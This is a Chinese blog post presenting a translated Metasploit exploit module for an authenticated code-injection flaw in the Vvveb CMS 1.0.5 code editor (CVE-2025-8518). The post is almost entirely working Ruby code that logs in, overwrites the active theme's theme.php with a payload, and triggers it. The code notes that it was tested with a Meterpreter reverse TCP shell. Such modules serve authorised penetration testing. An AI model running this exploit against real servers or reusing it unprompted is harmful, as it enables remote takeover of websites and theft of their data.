Vvveb CMS 1.0.5远程代码执行漏洞深度剖析

本文详细分析了Vvveb CMS 1.0.5版本中存在的远程代码执行漏洞。该漏洞源于代码编辑器功能未对用户输入进行充分过滤,允许经过身份验证的攻击者修改Web可访问文件系统中的文件,从而在文件被执行或由应用程序/Web服务器提供服务时实现远程代码执行。

Vvveb CMS 1.0.5 远程代码执行漏洞

2025.10.24 作者: Maksim

风险等级:本地利用:远程利用:CVE:CWE:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
##
# 此模块需要 Metasploit: https://metasploit.com/download
# 当前源代码: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Vvveb CMS 远程代码执行漏洞',
        'Description' => %q{
          Vvveb CMS 存在通过代码编辑器功能进行的代码注入漏洞。

          未经过滤的编辑功能允许攻击者控制对Web可访问文件系统上现有文件的修改,
          这使得能够访问代码编辑器的远程身份验证攻击者能够在被修改的文件被应用程序或Web服务器执行或提供时实现代码执行。

          此漏洞影响 Vvveb CMS 1.0.5 及更早版本。
          成功利用可能导致在Web服务器权限下的远程代码执行,可能暴露敏感数据或中断服务操作。

          攻击者可以在运行Web服务器的用户上下文中执行任意系统命令。
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit 模块
          'Hamed Kohi' # 漏洞发现者
        ],
        'References' => [
          ['CVE', '2025-8518'],
          ['URL', 'https://hkohi.ca/vulnerability/8']
        ],
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP
              # 已使用 php/meterpreter/reverse_tcp 测试
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Vvveb CMS 的路径', '/admin/']),
        OptString.new('USERNAME', [true, '用于验证到 Vvveb CMS 的用户名', 'admin']),
        OptString.new('PASSWORD', [true, '用于验证到 Vvveb CMS 的密码', ''])
      ]
    )
  end

  def get_csrf_token
    print_status('正在获取 CSRF 令牌...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 200

    html = res.get_html_document
    csrf_input = html.at('input[name="csrf"]')
    fail_with(Failure::UnexpectedReply, "#{peer} - 无法提取 CSRF 令牌") unless csrf_input

    token = csrf_input.attributes.fetch('value', nil)
    fail_with(Failure::UnexpectedReply, "#{peer} - CSRF 令牌为空") if token.blank?

    print_good("令牌获取成功: #{token}")
    token.to_s
  end

  def login(raise_on_fail: true)
    csrf_token = get_csrf_token

    print_status('正在尝试登录...')

    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"')
    post_data.add_part('', nil, nil, 'form-data; name="redir"')
    post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"')
    post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'vars_get' => { 'module' => 'user/login' },
      'data' => post_data.to_s
    )

    if raise_on_fail
      fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
      fail_with(Failure::NoAccess, "#{peer} - 凭据错误 - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password')
      fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 302
    else
      return CheckCode::Unknown('由于认证过程中发生网络错误,无法确定软件版本') unless res
      return CheckCode::Unknown("由于提供的凭据 #{datastore['USERNAME']}:#{datastore['PASSWORD']} 无效,无法确定软件版本") if res.body.include?('wrong email or password')
      return CheckCode::Unknown('由于认证过程中返回了未知的网络错误代码,无法确定软件版本') unless res.code == 302
    end

    @logged_in = true
    print_good('登录成功')
    return
  end

  def get_active_theme_path
    print_status('正在识别活动主题路径...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => { 'module' => 'theme/themes' }
    )
    fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 200

    active_theme = res.get_html_document.at('div.list-card.active')
    fail_with(Failure::UnexpectedReply, "#{peer} - 未找到活动主题的卡片") if active_theme.blank?

    theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil)
    fail_with(Failure::UnexpectedReply, "#{peer} - 未找到活动主题卡片的预览图") if theme_preview.blank?

    theme_dir = File.dirname(theme_preview)
    theme_path = theme_dir + '/theme.php'

    print_good("主题路径成功识别: #{theme_path}")
    theme_path
  end

  def get_theme_content(theme_path)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'editor/code',
        'action' => 'loadFile',
        'type' => 'themes',
        'file' => theme_path
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 200

    res.body
  end

  def set_theme_content(theme_path, content)
    post_data = Rex::MIME::Message.new
    post_data.add_part(content, nil, nil, 'form-data; name="content"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'vars_get' => {
        'module' => 'editor/code',
        'action' => 'save',
        'type' => 'themes',
        'file' => theme_path
      },
      'data' => post_data.to_s
    )

    fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") if res.code != 200
  end

  def trigger_payload(_theme_path)
    print_status('正在触发载荷...')

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'editor/editor',
        'url' => '/',
        'template' => 'index.html'
      }
    )
  end

  def set_payload(theme_path)
    print_status('正在设置载荷...')
    set_theme_content(theme_path, payload.encoded)
    print_good('载荷设置完成')
  end

  def check
    error_message = login(raise_on_fail: false)
    return error_message if error_message

    print_status('正在检查版本...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => { 'module' => 'tools/systeminfo' }
    )
    return CheckCode::Detected('认证过程成功完成。这意味着服务器使用了 Vvveb CMS。然而,由于在请求软件版本页面时发生网络错误,无法确定软件版本') unless res
    return CheckCode::Detected("认证过程成功完成。这意味着服务器使用了 Vvveb CMS。然而,由于在请求软件版本页面时服务器返回了未知状态代码 #{res.code},无法确定软件版本") unless res.code == 200

    version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
    return CheckCode::Detected('认证过程和软件版本页面请求均成功完成。这意味着服务器使用了 Vvveb CMS。然而,在软件版本页面上未找到 Vvveb 版本标签') if version_td.nil?

    version = Rex::Version.new(version_td&.text&.strip)
    return CheckCode::Appears("检测到版本 #{version},该版本存在漏洞") if version <= Rex::Version.new('1.0.5')

    CheckCode::Safe("检测到版本 #{version},该版本不存在漏洞")
  end

  def cleanup
    begin
      set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil?
    rescue StandardError
      # 接收到 shell 后,调用 set_theme_content 时,服务器会超时,但无需返回错误。
    end

    super
  end

  def exploit
    login(raise_on_fail: true) unless @logged_in
    @theme_path = get_active_theme_path
    @default_theme_content = get_theme_content(@theme_path)
    set_payload(@theme_path)
    trigger_payload(@theme_path)
  end
end
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计